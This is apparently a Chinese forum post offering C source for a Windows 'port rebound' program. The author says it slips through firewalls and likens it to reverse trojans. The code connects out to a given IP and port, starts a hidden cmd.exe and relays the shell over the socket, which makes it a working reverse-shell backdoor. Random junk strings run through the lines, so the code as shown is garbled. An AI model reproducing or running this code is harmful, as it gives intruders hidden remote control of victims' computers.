Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 :IFTiq5a;  
zbt>5S_  
/* ============================== +kF$I7LN  
Rebound port in Windows NT 
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By wind,2006/7 (>*<<a22  
===============================*/ qGtXReK  
#include =;.#Bds  
#include eW$G1h:  
9QaEUy*,  
#pragma comment(lib,"wsock32.lib") ,Mf@I5?  
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void OutputShell(); D*d@<&Bl4<  
SOCKET sClient; }-H<wQ&x  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $QQv$  
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void main(int argc,char **argv) k,>sBk8  
{ A~ugx~S0  
WSADATA stWsaData; _@3?yv~ D  
int nRet; C'C'@?]  
SOCKADDR_IN stSaiClient,stSaiServer; SRq0y,d  
OM!CP'u#{  
if(argc != 3) L^:+8g  
{ [\NyBc  
printf("Useage:\n\rRebound DestIP DestPort\n"); /esSM~*H  
return; >#z*gCO5,  
} pEIc?i*  
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WSAStartup(MAKEWORD(2,2),&stWsaData); *S.R#4w  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %\?2W8Qv_J  
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stSaiClient.sin_family = AF_INET; mA:NAV$!s  
stSaiClient.sin_port = htons(0); `X8AM=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^\kv>WBE  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /g3U,?qP  
{ lgTavs  
printf("Bind Socket Failed!\n"); f/G YDat  
return; CLI!(8ZW  
} vS%r_gf(  
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stSaiServer.sin_family = AF_INET; bq3G3oAyG  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :UmY|=v?t  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); iJ_FJ[ U  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) nfck3h  
{ p(UUH3%W  
printf("Connect Error!"); 1P&XG@  
return; 3IHya=qN  
} Wd'wL"6De  
OutputShell(); o >bf7+D  
} w~>V2u_-  
}0
c  
void OutputShell() 
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{ Wbc*x  
char szBuff[1024]; /X)fWO S6  
SECURITY_ATTRIBUTES stSecurityAttributes; Hk%m`|Z  
OSVERSIONINFO stOsversionInfo; e$|g  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ) 'x4#5]  
STARTUPINFO stStartupInfo; %7q,[g8  
char *szShell; <\c5
 
PROCESS_INFORMATION stProcessInformation; Hs<vCL \  
unsigned long lBytesRead; SlvQ)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); u= ( kii=/  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +^hFs7je)  
stSecurityAttributes.lpSecurityDescriptor = 0; #LEK?
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stSecurityAttributes.bInheritHandle = TRUE; +hg|!SS@5  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0hK)/!Y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s<x2*yVUA  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); uNV(r"
 
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pulE6T7x  
stStartupInfo.wShowWindow = SW_HIDE; CZg$I&x  
stStartupInfo.hStdInput = hReadPipe; h0`@yo  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uZ*;
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GetVersionEx(&stOsversionInfo); ='<0z?Af  
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switch(stOsversionInfo.dwPlatformId) L}CjC>R!  
{ cMxTv4|wui  
case 1: OL&ku &J_  
szShell = "command.com"; :N5R.@9  
break; gTZ1LJ  
default: '~A~gK0  
szShell = "cmd.exe"; n?vrsqmZ  
break; h_L-M}{OG  
} |RX uO  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e"P>b? OY  
:
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send(sClient,szMsg,77,0); ^yiRrcOo  
while(1) [_ESR/&N  
{ u$d T^c
 
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); mjG-A8y  
if(lBytesRead) * 3mF.^  
{ )2C`;\/:  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /,A:HM>B  
send(sClient,szBuff,lBytesRead,0); %gDMz7$~  
} ($&i\e31N  
else BKe~y  
{ &^^zm9{  
lBytesRead=recv(sClient,szBuff,1024,0); *?%DdVrO@  
if(lBytesRead<=0) break; #WlIH7J8Tc  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k2muHKBlk  
} n%? bMDS  
} HkFoyy  
!Z2?dhS  
return; :Zl@4}  
}